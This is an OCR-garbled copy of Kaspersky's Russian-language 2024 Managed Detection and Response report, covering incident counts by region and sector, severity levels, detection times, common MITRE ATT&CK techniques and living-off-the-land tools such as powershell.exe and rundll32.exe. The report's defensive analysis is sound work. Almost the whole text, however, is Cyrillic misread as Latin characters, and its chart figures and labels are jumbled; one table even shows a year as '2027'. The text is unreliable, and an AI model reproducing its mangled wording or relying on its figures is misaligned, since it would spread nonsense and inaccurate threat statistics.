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KpaTkun 0630p

E>xegHeBHO dumKkcupyeTcs 77% NHUMAEHTOB BbI YCMNEeLHOo
bonee 2 KPUTUYHbIX UHLNAEHTOB yCTpaHeHbI MNocse Noay4YeHns NepBoro
3HaAUMMOro cobbITna 6e3onacHOCTM

KnioueBble PermnoH.bl KntoueBble CTpPaHbl OTpacnm C HanbOoJIbLLMM KOSINYECTBOM NHUMNOEHTOB:
MO KOJINYEeCTBY KJIINMEHTOB: EBpOI'IbIZ

- EBpona —40% - Ntannga — 31% 26% 14% 12%

- Poccug n CHI — 21% - VicnaHua —15% [NPOMBILLNEHHOCTb durHaHChI focydpexaeHus
- BavxHui BocTok, Typums - Weeluapng —13%

n Adprka — 15%

Hanbonee pacnpocTpaHeHHbI Npodub
3M10yMBbILLNIEHHMKA B KPUTUYHBIX MHUNOEHTAX:

40%
@ 43% 17% 12%

Llenesble aTtaku ACENTYE] KpumuHan'
3aLUNLLEHHOCTN

Hanbonee nonyngpHble living-off-the-land
VHCTPYMEHTbI aTaKyoLyX:

(powershell.eer [ rundll32.exe ] [ comsves.dll J

Hanbonee nonynsapHble TexHnku MITRE ATT&CK: PacnpeneneHvne 3aperncTpupoBaHHbIX
NHUMOEHTOB MO YPOBHIO KPUTUNYHOCTI:
T1566: duvHr T1204: BoinonHeHne
TAOOOT: MNepBoHajanbHbIii nonb3oBaTesniem ® 5% ® 69% ® 26%
noctyn TAOOO2: BbinonHeHne
Bbicokuve CpenHue Hnskure
3adrKCHpoBaHa 3adrKCrpoBaHa
B 24% NHUMOEHTOB B 19% MHUMOEHTOB
T1098: MaHunynaumm ¢ y4eTHOW 3anucbio CpenHee BpeMs 06HapyXeHWs UHLMAEHTa BbICOKOrO YPOBHS
TAO0O03: 3akpenneHe KPUTUYHOCTY — 54 MVIH, CpeOHEero ypoBHS — 41 MuH,

o H3KOrO YPOBHSA — 38 MVIH.
3adukcrpoBaHa B 18% NHUMOEHTOB

! ATaKka C UCMosib30BaHNEM BPELOHOCHOro MO 6e3 BUOMMOro yyacTud YenoBeka



PekomeHaaumnm

B 2024 rogy 4ncno MHUMAEHTOB BbICOKOW KPUTMYHOCTW CHU3UNOCH Ha 34% no cpaBHeHMIO ¢ 2023

rogom. Ho cpegHee Bpems 06paboTky COBbITUA 6Ee30MaCHOCTV YBENMUYMNOCH Ha 48% 13-3a BO3POCLLEN
CNOXHOCTW aTaK. 9TO NOATBEPXKAAETCS aHaNN30M CpaboTaBLUNX NPaBUA AETEKTUPOBAHNS N MHANKATOPOB
aTaku (I0A), 6ONbLUMHCTBO U3 KOTOPbIX BbIIM OCHOBaHbI HA AaHHbIX CNeLNan3nNpoBaHHbIX PeLLIeHN Knacca
XDR. B oTnnyme oT npeablayLumx neT, Koraa KaoueByro posb urpanm XxypHansl OC, B HOBbIX YCNOBUSX

ANs 3PpDEKTMBHOrO OOHaAPYXXEHMS N PacCNefoBaHNS Yrpo3 KPUTMYECKN BaXKHbl CNELNan3npoBaHHbIE
peLlueHns, Takme kak XDR2.

LleneBble aTaku € yyacTuem Yenoseka coctaBunm 43% OT BCEX MHLNOEHTOB BLICOKOW KPUTUYHOCTY B 2024
rogy — Ha 74% 6onblue, Yem B 2023 roay, 1 Ha 43% 6onbLue, yem B 2022 rogy. HecmoTps Ha pa3suTue
aBTOMAaTU3MPOBAHHbBIX CUCTEM OBHAPYXXEHWS, MOTUBMPOBAHHbIE 3/T0YMbILLNEHHVKM MPOSOMKAIOT HAXOANTb
Cnocobbl nx obxoaa. [ns NPOTUBOAENCTBUS YeN0OBEKOYNPABNFEMbIM aTakaM BaXkHbl PELLEHUS, Tak>Ke
ynpansgemble YenoBekoM, Takme kak Managed Detection and Response?’. OpraHnsaumsim ¢ CO6CTBEHHBIM
SOC, BaxHO afanTupoBaTh MPOLECCHI Y TEXHOMNOM MU K COBPEMEHHOMY NaHawadTy yrpo3s. KomnnekcHble
KoHcanTuHrosble ycnyri SOC Consulting* noMoryT B LOCTUXEHWN 3TON LIENW.

CTaTuncTrKa NoKasbIBaET, UTO 3M10YMbILLIEHHVKI YaCTO BO3BPALLAOTCS NOCE YCNELHOW aTaKu.

OTO 0COBEHHO 3aMETHO B rOCYAAPCTBEHHbIX YUPEXAEHNSX, FOe aTaKyoLWmMe CTPEMATCS 3aKpPEnUTbCS

B CUCTEME ANS LUMNNOHCKOM OedaTenbHOCTU. B Takmx cutyaumax ad ek TUBHBIM PELLEHVEM SBSIETCY
coueTaHue BHyTpeHHero SOC, ocHaweHHoro XDR, nnn aytcopcuHroBoro MDR ¢ perynspHbiM NpOBEAEHNEM
oLeHKM komnpomeTauumn Compromise Assessments®. 3To No3BoNgeT 0bHapyXMBaTb 1 paccnenoBaTb
WHUWAEHTbI, NPONYLLEHHbIE CYLLECTBYIOLLMMN Mepamy 6€30MacHOCTN. 310YMbILLIEHHVKM YacTO UCMOMb3YOT
meTogpl Living-off-the-Land (LotL)° B MHPpacTpyKTypax C HEAOCTaTOYHbIM KOHTPONEM KOHPUrypaLmen
cucTeM. 3HaUNTENBHOE YNCIO UHLMOEHTOB CBA3aHO C HECAHKLMOHNPOBAHHBIMU NU3MEHEHUSMI, TaKMU Kak
006aBNeHVEe YYETHbIX 3annCcel B MPUBUNErNPOBaHHbIE FPYMNMbl UK USMEHEHWE HacTPOek 6e30MacHOCTM.
[Ns CHMXKEHNS Yncna NoXHbIX cpabaTbiBaHW B 3TUX CLIEHAPUSX KPUTUYECKW BaXKHbI 3P dEKTUBHOE
yrnpaBneHue KoHUrypaumamm u opmarsbHble MPOLEAYPbl BHECEHNSA UBMEHEHWA 1 YIPABNEHNS LOCTYMNOM.

B 2024 rogy TexHukn T1204: BeinonHeHve nonb3oatenem’ n T1566: GuumnHré cHoBa BOLLN B TPOWKY CaMblX
pacnpoCTPaHEHHbIX, MPY 3TOM NoYTU 5% MHUNOEHTOB BbICOKOM KPUTUYHOCTI ObINM Bbi3BaHbl YCMELHbIMIN
aTakaMu C UCMosIb30BaHNEM COLManbHOM HXeHepun. [onb3oBaTenu No-nNpexXHEMY OCTaloTCS CaMbiM
CcnabbiM 3BEHOM, YTO AENAET MOBbILLEHNE OCBEAOMIEHHOCTN NONb30BaTENEN’ BaXXKHbIM HaNpaBieHNEM

019 N1aHMPOBaHNS KOPMOPaTUBHOM MHGOPMALMIOHHOM 6€30MacHOCTM.

2 Kaspersky 5 Kaspersky Managed 4 Kaspersky SOC 5 Kaspersky ¢ Lotl-aTaka 7 MITRE ATT&CK.
Symphony XDR Detection Consulting Compromise (aTaka Living T1204 User
and Response Assessment off the Land) Execution
& MITRE ATT&CK. ? Kaspersky Security

T1566 Phishing Awareness


https://www.kaspersky.ru/enterprise-security/soc-consulting
https://attack.mitre.org/techniques/T1566/
https://www.kaspersky.ru/enterprise-security/symphony-xdr
https://www.kaspersky.ru/enterprise-security/managed-detection-and-response
https://attack.mitre.org/techniques/T1204/
https://www.kaspersky.ru/enterprise-security/compromise-assessment
https://www.kaspersky.ru/enterprise-security/security-awareness
https://encyclopedia.kaspersky.ru/glossary/lotl-living-off-the-land/

BBepeHue

ExxerogHbin aHanuTnyecknin otyeT Managed Detection and Response (MDR) ocBelLaeT pesynsraThl
aHannsa MHUMOEHTOB, BbIIBNEHHbIX KOMaHAOM LieHTpa MOHUTOPWHra 1 pearnpoBaHns Ha nHUMaeHTbl (SOC)
«JTabopaTtopum Kacnepckoro» B 2024 ropay.

Llenbto oTueTa 9BngeTCca NpefoCTaBneHne CBEAEHMI O HaMbOoNee YaCTO BCTPEYAIOLLMXCS TaKTUKaX, TEXHMKaX
U MHCTPYMEHTaX 3/10Y MbILLNEHHWKOB, 8 Tak>Xe XapakTepe BbISBNEHHbIX MHLUVOEHTOB 1 X pacnpeneneHnm
cpeaun knneHTtos Kaspersky MDR no reorpadum 1 cekTopam 3KOHOMUKWU.

OTOT OTUET NOMOXET MNOoNTYYNTb OTBETbI Ha KJIFOYEBbIE BOIMPOCHI,
B TOM Yncne.

O, () ©,

KTo Bawm Kakve meToapl Kak Mo>XHO
noTeHuManbHble OHUN NCMONb3YIOT OBHapPY>XUTb
atakyowme? cerogHa? nx gpencteng?



O Kaspersky Managed Detection and Response (MDR)

Kaspersky Managed Detection and Response (MDR) o6ecneunBaeT Kpyrnocy TOUHbIA MOHUTOPWUHI

1 pearnpoBaHue Ha yrpo3bl UHGOPMALMOHHON 6e30nacHOCTW. PeLleHns Ans 3aLmTbl KOHEYHbIX TOYEK
(manee — Endpoint Protection Platform, EPP) nepegnaioT TenemeTpuio s aHanmsa ¢ NoOMOLLbIO MaLLMHHOrO
0byueHuns n akcrneptoB — SOC «JlabopaTopuim Kacnepckoros.

[na obHapy>XeHns HUMAOEHTOB NCNONb3YOTCS MHAMKaTopbl atak (indicators of attack, loA), a Takxe
NPOoaKTMBHbIA NOWCK Yrpo3s. [lencTBuS Mo pearnpoBaHuio HasHadatoTcs koMaHaon SOC, n nocne onobpeHns
CO CTOPOHbI KNIMEHTa aBTOMaTNYECKM BbINONHAOTCA nnatdopmon EPP.

18%

L ﬁ’; T1566: DULINHT T1098: Marmny naumm L T1204: BoinosiHeHve
C YYETHO 3aMnMChio nosnb3oBaTeniem
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OxBaT pewueHnsa Kaspersky MDR

3akasunku Kaspersky MDR npepcTaBieHbl BO BCEM MUPE, YTO NO3BOSIET COCTaBUTb AOCTAaTOUYHO
06bEKTUBHOE NpeacTaBlieHNE O PErMoHanbLHOM cneundurke aTakyowmx. Ha anarpamMmme Hke oTpaxkeHa
reorpadus knmeHToB Kaspersky MDR. Hanbonbluee KonnmyecTBO KIMEHTOB COCpenoTo4eHo B EBpone, Poccun
n CHIr, a Tak>xe pernoHe META.

[ ] ]
A=A Poccug n CHI
40% 13% 21%
3%
[ ] ]

EBpona JlaTnHckas
40% Awmepuika
©

—
META CeBepHad
A AmepuiKa
3%
B EBpone Hanbonee wmnpoko peLueHne Kaspersky B pernoHe META nugupyeT FOAP.
MDR npeacTtasneHo B tanun, cnaHum
v LLseruapumn.

B Viranus B HupepnaHab B oaP
B Vichanus B SocHus v TepuerosmHa B Kor-oVByap
B Lseliuapus B BenvikoBpuTaHus B Caynosckasd Apasus
B AscTpus Opyrvie B Ervner
B repmanus B KyseiiT
®paHumsg AHrona
B Cepbus B Opyrve

10 ATP — A31aTCKO-TXOOKEaHCKINIA permoH



IV. OxBaT peleHuns Kaspersky MDR

PacnpepeneHue no oTpacnsam

B 2024 rogy komanga MDR 3adukcrpoBana HanbosbLlee KOMYECTBO NHLMAEHTOB Ha MPOMBbILLIEHHBIX
npeanpuaTtusx (25,7%), B dnHaHCoOBbIX opraHusaumsgx (14,1%) n rocygapcteeHHomMm cekTope (11,7%).

SR

Ouarpamma 1 ]

KonnuyecTtso
KInMeHToB, %

KonnyecTtso
VHUMOEHTOB, %

Konnuectso
KPUTUYHBIX
VHUMOEHTOB, %

[paduk oTpaxaeT pacnpeneneHne knneHToB Kaspersky MDR no oTpacngam. Ero cpaBHeHMe ¢ pacnpeneneHnem
KonnyecTBa NHUMAEHTOB NO3BOJISET FPY60 OLEHNTb YaCTOTY UHLMOEHTOB B COOTBETCTBYIOLLEN OTPACIN.

Hanbonee atakyemble oTpacnu

CTpouTenscTBo

ObpasoBaHve

®riHaHCOBblE
opraHnsaumn

[Mwesas
NPOMBILLIEHHOCTb

[ocynapCTBEHHbBIN
cekTop

30paBooxpaHeHne

N T-koMnaHum

MPOMBILLNIEHHbIE
npeanpUsTVs

CMKA

Po3Hun4Has
TOProBns

Tenekom

TpaHcnopT

Hpyroe

[ 4.0%
I 33%
3%

. 17%
B 04%
I 02%

I 13,6%
[ 14,1%
I 11.9%

I 1%
I 5.5%
I ©.5%

E—— 13,3%
I 11,7%
I 13.3%

I 9.3%
I 11,2%
22,8%

T 24.1%
. WA
I 17.8%

N 2,0%
B 14%

57%

—— 7.4%
I 5.1%
I 4.9%

B 14%
M 09%
3%

I 31%
I 6.5%
I 5.7%

I 12,5%
I 6.6%
I ©.5%

Ecnn xe paccmaTtpurBaTh TONbKO KPUTUYHbIE UHLIMAEHTDI, TO pacnpeneneHne 6ynet HECKOMbKO MHbIM:
22,8% B NT-koMmnaHusx, 18,3% B rocyoapCTBEHHOM CekTope, 17,8 % B NPOMBbILLEHHbIX NPeanpUaTusX

1 11,9% B GUHAHCOBbIX OpraHn3aLnsX.



KonnyecTBO MHUNOEHTOB

B 2024 rogy nHdpacTpykTypa Kaspersky MDR exxegHEBHO Moydana cobbiTus TENEMETPUN, B pe3ynbTate
06paboTKM KOTOPbIX GOPMUPOBaNNCE CObLITUS BesonacHoCTU (anepThbl). Okono 26% cobbiTU 6€30MNaCHOCTM
Oblnn 06paboTaHbl aNropUTMamMy MaLMHHOMO 0ByYeHNs, a 13% npoaHanmanpoBaHbl akcneptamm SOC

1 KnaccudunumpoBaHbl Kak cnegcTBug peasbHbIX MHUUAEHTOB, O KOTOPbIX KIMEHTHI MOAYyYUnn YBEAOMIEHNS
yepes noptan Kaspersky MDR.

{ [varpamiva 2 ] BopoHka obpaboTky cobbiTnii MDR

~ 270 O O O CObBbITUI 6e30NacHOCTI
6b1/10 NPOaHanM3npPoBaHoO

[ |
~ 200 000 ~15 000
COBbITUIN 6€30MaCHOCTU COBbITUIAN C OAHOrO XOCTa B A€Hb
npoaHaﬂVlSleOBaHbl OTO YNCIO MOXET 3HAUNTENBHO
SKCHepTaMM SOC BapbnpPOBaTbCH B 3@aBUCUMOCTWU
OT aKTMBHOCTW XOCTa
[ |
(o)
>70 000 ~ 87%
COBbITUIN 6€30MaCHOCTU COBbITUIA 6E30MacHOCTM
0bpaboTaHbl aBTOMATUYECKM KnaccupuUmMpoBaHsbl
C MOMOLLIbIO TexHoorun N akcnepTamu SOC Kak NOXHbIE
cpabaTblBaHUS
[
>26 000 ~13 000
COBbITUN 6e30MacHOCT WNHUMOEHTOB NepeaHbl
BbIN NPOoaHaNM3NPOBaHbI 3aKasurkam

CHMXEHME KONMMYECTBa OMNMOBELLEHWI O COBbITUSX 6E€30MacHOCTI CBA3aHO C MacLUTabHoM paboTol

MO MOBbILLEHWNIO 3P PEKTUBHOCTIM NOMNKN OBHAPYXeHUs. B pesynbTaTe obLnin ypoBeHb KOHBEPCU
nHavkaTopoB aTaku (I0A) Bbipoc ¢ 10% o 13%, a KonnYeCcTBO JTOXHbIX CpabaTbiBaHWi, 06pabaTbiBaeMbIx
aHanuTtukamuy SOC, CyLlecTBEHHO COKPaTUIOCh.



VI. CKopoCTb 06Hapy>XeHWs MHUMAEHTa
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CKopoCTb OOHapy>XeHUs

NHUMNOEHTA

MpoLecc 0bHapYXeHUs NHLIMOEHTa COCTOUT N3 HECKOJbKMX 3TanoB. CHayana crneunann3npoBaHHbIiA

poBOoT HasHayaeT cobbiTie 6e30MacHOCTU B MEPCOHasbHYO ovepenpb AoCTYynHOMY aHannTtuky SOC. 3atem
aHanMTUK 0bpabaTbiBaeT COObITNE 6E30MACHOCTM, UCXOAS U3 YPOBHS KPUTUYHOCTU N YCTAHOBNIEHHOTO

B SLA BpeMeHu Ha feTeKTMPOBaHVE Yrpo3bl. ECnv aHanns BbIIBNSET NOXHOE cpabaTtbiBaHmne, TO CObbiTre
6e30MacHOCTN UTHOPUPYETCY, a Ha YPOBHE KNMeHTa v rnobanbHOM MHGPACTPYKTYPbl CO34aI0TCS
cooTBeTCTBYoWME GUNLTPLIL. B OCTanbHbIX cnyyasx cobbiTrie 6€e30MnacHOCTN UMMOPTUPYETCS B HOBbI

VNN CYLLLECTBYIOLLMIA MHUMOEHT, KOTOPLIN MOCne AeTabHOro paccnenoBaHns MMbo 3aKpblBaeTCS Kak TOXXHOEe
cpabaTbiBaHMe, IMB0 NepenaeTcs KIMEHTY Kak MHUMOEHT Yepes nopTan MDR BMecTe ¢ pekoMeH4aunsamm
Mo pearnpoBaHnto. ECn KNMEHT cornacyeT pekoMeHayeMble MEPOMNPUATIASA MO pearnpoBaHunIo, areHThbl
CpPenCcTB 3aLMThl Ha KOHEYHBIX YCTponcTBax (EPP) aBToMaTniecki nx BbiMOHSIOT.

[ Tabnuua ]

Bpemsa 06paboTkm MHUmMgeHTa

KpuTnyHoCTb Bpems 06paboTku, M/H MNoscHeHns
. 53,99 MWVH Camble CNOXHbIE VHLMAEHTHI, TPEBYIOLLIME HAaNBONbLLErO BPEMEHWM
4N c6opa AONONHUTENBHON MHOOPMALLN 1 MOCTPOEHUS
Bbicokas 2023 36,37 MUH xpoHonoruu. B 2024 rogy aTo Bpemy yBENNYMIOCh NPpUMepHO Ha 48%
2022 43.75 MyH Mo CPaBHEHWIO C MpeablayLwyMy neprogamn’, YTo OTpaxaeT xapakTep
2027 4145 Mk VHLAEHTOB BLICOKOIO YPOBHS KPUTUYHOCTH.
o 41,03 MWH Hanbonee PacnpoCTpaHeHHsIMM1 ObINV MHUMAEHTEl CpeaHero
YPOBHS KOUTUYHOCTH, 6OMbLLIAS YaCTb KOTOPbIX — pe3ynbTaT
Cpe,D,H‘r'I‘;I 2023: 32,55 MUH aKTUBHOCTW BPeAOHOCHOrO NMO. ABTOMaT131pOBaHHOE
2022: 3092 MUH pearnpoBaHye okasanoch addekTnBHLIM. OaHaKko BpeMs
R 06pPaboTKM YBENNUMAOCH Ha 26% MO CpaBHEHNIO ¢ 2023 rogom,
2021: 34,88 MVH BBVAY YBENVNYEHMS OBLLErO KONMYEeCTBa TaknX MHLMAEHTOB.
. 37,85 MWH VIHUMOEHTbI HN3KOM KPUTUYHOCT B OCHOBHOM CBA3aHbI
C NOCNeacTBMAMN PaboTbl NOTEHLIMAaNbHO HexenaTensHoro MO.
Huzkas 2023: 48,01 MUH B 6onblUMHCTBE Cnyy4aeB 06paboTka Takux NHLMAEHTOB

2022: 34,15 MUH
2021: 40,24 MmuvH

" Managed Detection and Response —

oTyeT 3a 2023 rog,

Managed Detection and Response —

oTyeT 3a 2022 rof,

aBToMaTu3npoBaHa.

Managed Detection and Response —
oTueT 3a2021ron,


https://securelist.ru/kaspersky-mdr-report-2023/109420/
https://securelist.ru/mdr-report-2022/107350/
https://securelist.ru/managed-detection-and-response-in-2021/105180/

KpUTUYHOCTb MHUNOEHTOB

B MDR 3akasurkam ny6amkytoTCs TOMbKO Te MHUMAEHTbI, KOTOPbIE TPEBYIOT KaKX-Mbo AENCTBUIN
C X CTOPOHbI.

Hunskuin CpenHuin Bbicokuin

bes CyLeCTBEeHHOIro BOB,D,eI7ICTBVI9| HeTt ﬂO,EI,TBep)K,EI,eHVIVI yyacTng ATaka c yyacTmneM YyesioBeka nin

Ha B13Hec, TeM He MeHee HeoBXxoarMo YyenoBeka, HLUWAEHT CrocobeH B/PYCHOE 3apaXeHne, OKa3blBatoLne
npoBeCTU pPsan MepOI‘IpI/IﬂTI/IVI angd MOBNNATb Ha BU3HEC, HO BE3 TAXKENbIX Cepbe3Hoe BO3OeNcTBUE Ha B13HeC
MOBbILLUEHNSA YOOBHA 6e30MnacHoOCT ﬂOCJ‘Ieﬂ,CTBVIVI

B 2024 rony B cpeaHeM GUKCUPOBaNoCh 6onee TPEX KPUTUUYECKUX NMHUVAEHTOB Kaxkable aea gHs. 2021 rog
OblNT PEKOPOHBIM MO KOAMYECTBY NHUMAEHTOB BbICOKOrO YPOBHS KPUTUYHOCTU, 1 C TEX MOP HabntogaeTcs
TEHAEHUMS K CHUXXEHUNIO VX 40N, OGHOBPEMEHHO C POCTOM YMCIa MHUMAEHTOB HU3KOrO 1 CPEAHErO YPOBHEN
KPUTUYHOCTW.

( [varpamma3 ] IHUMOEHTBI MO YPOBHIO ( [arpammia 4 ] KpuTtnuHocTb
KPUTUYHOCTI nHumpeHTos MDR
no rogam
4,69%
] 2024 69,39% 2592%
Bricokun 2592% 7.09
2023 62,73% 30,18%
CpegHnia
2022
. 14,34%
Hiaiit 2021
916%
2020 71,78% 19,06%

MNepepacnpeneneHmne oonv NHUUAEHTOB BbICOKON KPUTUYHOCTM B MONb3Y MHLUVAEHTOB CPEeAHEN KPUTUYHOCTI
06BICHAETCS PaHHNM BbiSIBNIEHNEM Y03 1 3P EeKTUBHBIM pearnpoBaHmeM. Ha MOMEHT 06HapyXeHs
3a4acTyto He Bbl10 4OCTAaTOYHbIX 4OKa3aTENbCTB MPSMOro y4acTus YenoBeka B atake. B Takux cnyvasx
PUKCMPOBaNNCb aKTUBHOCTU, CBA3aHHbIE C BPEAOHOCHbLIMY pacChiikamu, KOMNPOMeTauVen Yepes
drive-by-download, nooktouYeHnaMy K NOTEHLIMANbHO ONacHbIM HTEPHET-PeCcypCcaM, CETEBOV pa3Benkon,
aTakaMim NepebopoM YHETHbIX AaHHbIX UK aKCnyaTaumen yassmumocTen. OgHako komangaa Kaspersky MDR
npuLLna K BblBOAY, YTO XapaKTep STUX AENCTBUIA N CBA3AHHbIE C HUMIW PUCKIN HE SBMSIKOTCS OCHOBaHMEM A9
Knaccudurkaumm NHLMOEHTA Kak BbICOKOWN KPUTUYHOCTU.



VII. KpUTUYHOCTb MHLNAEHTOB
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KonnuecTBO MHUMAEHTOB BO MHOIOM 3aBUCUT OT OXBaTa MOHUTOPWHra. Ha I'IpI/IBe,EI,eHHOI‘/'I HXe anarpamme
OTpaxXeHo oXngaemoe Kom4yecTBo NHUMOEHTOB 3agaHHOMn KPUTUNYHOCTU C o6bemom 10 000 KOHEUHbIX ToYeK

B MOHUTOPWUHIE, pacripenesieHHoe no oTpacingdM.

[ [varpamma 5 ] PacnpepeneHne MHUMOEHTOB Mo KPUTUYHOCTI 1 OTPACISIM

65,97

149,80

Ctpoutens- O6pa3so- DurHaHCh! Muwesas oc.cekTop 3npaso- nt- MpombiLLn.
cTBO BaHvie MPOMBILLN-Tb OXpaHeHve KOMMaHWIv npeanp-us
Bbicokui CpegnHuii Huskwin

66,82

645,65

8,47

CMM

PosHuuHas
TOProens

Tenekom Lpyroe

TpaHcnopT

/13 prnarpamMmmbl CneayeT, YTo Hanbosbllee OTHOCUTENBHOE KONNYECTBO MHLIMOEHTOB Habntoganock B CMU,

CTPOUTEINIbHbIX OpraHn3aungax 1 TesiekomMe.



VII. KpUTUYHOCTb MHLNAEHTOB CopepxaHue

( RS ] KonnyecTBo MHUMBEHTOB Pa3HON CTEMEHN KPUTUNYHOCTY
Mo VHAYCTPUSM B CPaBHEHUM C NPEAbIAYLLM rogom

2024 2023

786
CTponTenscTeo
149,40
892
O6pasoBaHie
60,44
74 998
119,56 DuHaHCHI
6173 3618
833
ryiesan
MPOMBILLNIEHHOCTb 7588

14,18 < 42,67
[ocyOapCTBEHHbI
1

4896 CEeKTop 616
149,80 ﬂ 30paBooOXpaHeHie & 67,59
15,82
106,83 NT-koMnaHum 85,70
429
9,07
MPOMBILLNEHHbIE 262,51
26 npennpuaTus
847
645,65 CMH 7577
66,82
1093
w767 PosHunyHas 70,87
Toproens 4542

10,05 916

Tenexkom

62,54 46,20

63,

20,16 1892
194,05 TpaHcnopT 13575
31,70
222 ) .58
30671 Hpyroe 0,00
20,51 0,00
Bbicokuin CpegHuii Huskunin

B cpaBHeHuu ¢ 2023 rogomM 3HaYUTENbHBIN POCT MHUMAEHTOB Habnogancy B cektope CMU, cTpouTenbHbIX
opraHmM3aunsx n Tenekome.
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KonnuecTBO MHUMAEHTOB BO MHOIOM 3aBUCUT OT OXBaTa MOHUTOPWHra. Ha I'Ipl/lBG,D,GHHOI7I HXe anarpamme
OTpaxXeHo oXngaemoe Kom4yecTBo NHUMOEHTOB 3agaHHOM KPUTUNYHOCTU C o6bemom 10 000 KOHEUHbIX ToYeK
B MOHUTOPWUHIE, pacripenesieHHoe no oTpacingdM.

[ Moaduk 7 ] KonnyecTBo KpUTUNYHBLIX UHUMOEHTOB MO NHOYCTPUAM
B CpaBHEHU C NpegbiayLyiM rogom

1,02 %

CtpouTte- O6pa3zo- DurHaHChI Muweas [oc. cekTop 3npaBo- WT- MpombILL. CMn PosHuyHas Tenekom TpaHcnopT [pyroe
NbCTBO BaHve NPOMbILLN-Tb OXpaHeHne KomMMnaHnn npeanp-nsa TOoprosns

2024 rop, 2023 ropa,

N3 pnarpamMmbl cnefyet OTMETUTb 3HAUUTENBHOE CHVXKEHWE YACNA KPUTUYHBIX MHLMAEHTOB

B rOCyapCTBEHHOM U CTPOUTENBHOM CEKTOPAX, B TO BPEMS Kak YACNO MHLUULEHTOB B MPOMBbILLIIEHHOM
cekTope Bblpoco. OTHOCUTENBHO BONBLLOK POCT HabNAANCS B MALLEBOM MPOMBILLIEHHOCTH, @ TakXXe
HEBONbLLIOW POCT 3adUKCUPOBaH B VIT-koMnaHngx 1 Tenekome. XoTsa B cekTope CMU oTmeuvancs peskumi
POCT Yncna NHUMAEHTOB, 3TO HE KacaeTCs UHLMAEHTOB BbICOKOW KPUTUYHOCTU. DTO NMOATBEPXKAAET paHee
cOenaHHbIe BbiIBOAb! O TOM, YTO MHOTE NOMbITKM aTak Bblfv onepaTBHO OBHaPYXeHbI 1 NPeoTBPAaLLEHI.



OPPEKTNBHOCTb pearnpoBaHns

PacnpeneneHne NHUMaeHToB PacnpepneneHve HLWOEHTOB
[Ounarpamma 8 Ounarpamma 9
Mo KONIMYECTBY PeneBaHTHbIX Mo KPUTUYHOCTIU U KONNYECTBY
COBbITUIN 6E30MACHOCTY PENEBAHTHBIX COBbLITIN
B6e30mnacHoOCTH
VHUMOEeHThI C 1anepTom
276% 68,69% 28,55%

VHumaeHTol ¢ 2-10 aneptamm

9.11% 72,89% 18,01%

VHumaeHTol ¢ >10 aneptamu

32,38% 59,43% 8,20%
HUMOEHTHI VHUMOEHTBI VHUMOEHTBI Bbicokui CpegHuia Huakunit

clanepTom c 2-10 anepTtamu ¢ >10 anepTtamu

Okono 76% VHUNOEHTOB cogepXXaT OOHO CObbITVE 6e30NMacHOCTU. ATaka cumTanach YCrneLwHo
OCTaHOBJIEHHOW, eCN fanbHENLLNE PENIEBAHTHbIE anepTbl HE FEHEPUPOBANNCE. DTa KAaTErOpPUs Tak>Ke
BK/IIOYAET TUMOBbIE MHUMOEHTbI C YETKVMIW CLEEHAPUSMI pearnpoBaHus. KpUTMYHbIE MHUMAEHTEI B 3TOM
KaTeropum coctaBuan MeHee 3%, NogaBnstoLlee 6OMbLUNHCTBO — HUMOEHTbI cpenHel (69 %) n HU3Kowm (29 %)
KPUTUYHOCTI.

MpumMepHo 22% nHumMaeHToB cogepxkat 2—-10 cobblTuin 6e3onacHOCTU. YTo6bl 3aTPYAHUTL 06X0[,

CUCTEM OBHaPYXXEHWS, Mbl ICMONIb3YEM TEXHONOT N, POPMUPYIOLLE HECKOSBKO HE3ABUCUMbIX CODbITAN
6e30MacHOCTV AN OOHOW 1 TOW Xe Yrpo3bl. Hanpumep, ncnonb3oBaHne BPeAOHOCHOMO MHCTPYMEHTA
MOXET OOHOBPEMEHHO OBHapYyXmnBaTbcs EPP Ha ocHoBe aHannsa 6uHapHoro daiina 1 ero noBeaeHus.

Co cTopoHbl MDR o6Hapy»eHne aTak MOXET OCHOBbIBATbCS Ha aHanM3e KOMaHAHbIX CTPOK Ui purkcauun
OOCTYyNa K onpeneneHHbiM pasfaesiaM peecTpa. 9Ta KaTeropus BKOUAET HUNOEHTbI, KOTOPble HE 6bini
aBTOMAaTNYECKN OCTAHOBSIEHBI MOC/E NEPBOrO COBLITUA 6€30MacHOCTI: NGO B MPOLECC pearnpoBaHns
BMELLAICS CMeUmanmcT, b0 NepBbIE peneBaHTHbIE COBLITNS 6€30NacHOCTU HE Bbifi KOPPEKTHO
KnaccnouumpoBaHbl.

2% vHuMaeHToB cogepxaT 6onee 10 cobbiTuin 6e3onacHOCTW. Takmne cnyyan 06blYHO BO3HUKAIOT, KOraa
NPEeANOXeHHbIE MePbI pearnpoBaHns Bbli OTKIIOHEHbI 3aKa3uKOM U oka3anncb HeadPEeKTUBHBIMIA.
MprMepamu SBNFIOTCS LIeNeBbIe aTaku, TpebytoLme TLaTEeNbHOro pacCciefoBaHns Nepes pearnpoBaHmneM,
W CUEHapU, B KOTOPbIX 3aKa34lk 3anpoCcis KOHTPOSb AENCTBUN aTaKyoLWMX 6€3 akTUBHOMO pearnpoBaHns
(HanpuMep, B pamkax Knbepy4eHuii). [1ons HUMAEHTOB BbICOKOW KPUTUYHOCTU 30eChb HanbonbLlas

1 npeBbiwaeT 32%. Okono 8% NHUNOEHTOB HN3KOM KPUTUYHOCTM B 3TOM KaTEropui O6bACHAOTCS HaNNYmem
HN3KOMPUOPUTETHbIX AENCTBUIM MO pearnpoBaHno CO CTOPOHbI Nonb3osaTeneint MDR, KoTopble He Bbinn
peann3oBaHbl. HecMoTps Ha TO, UTO Takoe 6e34elCTBIE He NPYBOAWNO K AaNbHENLLEMY Pa3BUTUIO aTaKw,
nHPpacTpykTypa MDR npogonxana nosiyyatb CBI3aHHbIE COBbITUS 6e30MacHOCTM A0 TEX MOop, Noka

He BbINn peann3oBaHbl HEO6XoAMblE GUNLTPDI.
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[pnpoaa NHLUNOEHTOB BbICOKOW
KPUTUYHOCTI

KonnuecTBo KPUTUYHBIX
WHUNAEHTOB MO TUNam

KonnuecTBo komMnaHuia,
roe Habnoanncb KPUTUYHbIE
WHLUMOEHTbI MO TUMam

[ [Owarpamma 10 ] [ [Ouarpamma 11 ]

17,48%

Llenesble aTakun Knbepyyenns BpenoHocHoe MO HapyLeHve ApTedakThbl CoumarnbHas
NOANTUKM LeneBbix atak VNHXeHepus
BesonacHoCTN

KpuTtunuHele BHyTpeHHuI ATaku Ha oTka3

YS3BUMOCTH HapyLmTens B 0BCNY>XMBaHWN

B 2024 ropy akcnepThl «J1labopaTopum Kacnepckoro» obHapy>Xunv atakm ¢ ydactmem yenoseka (APT)

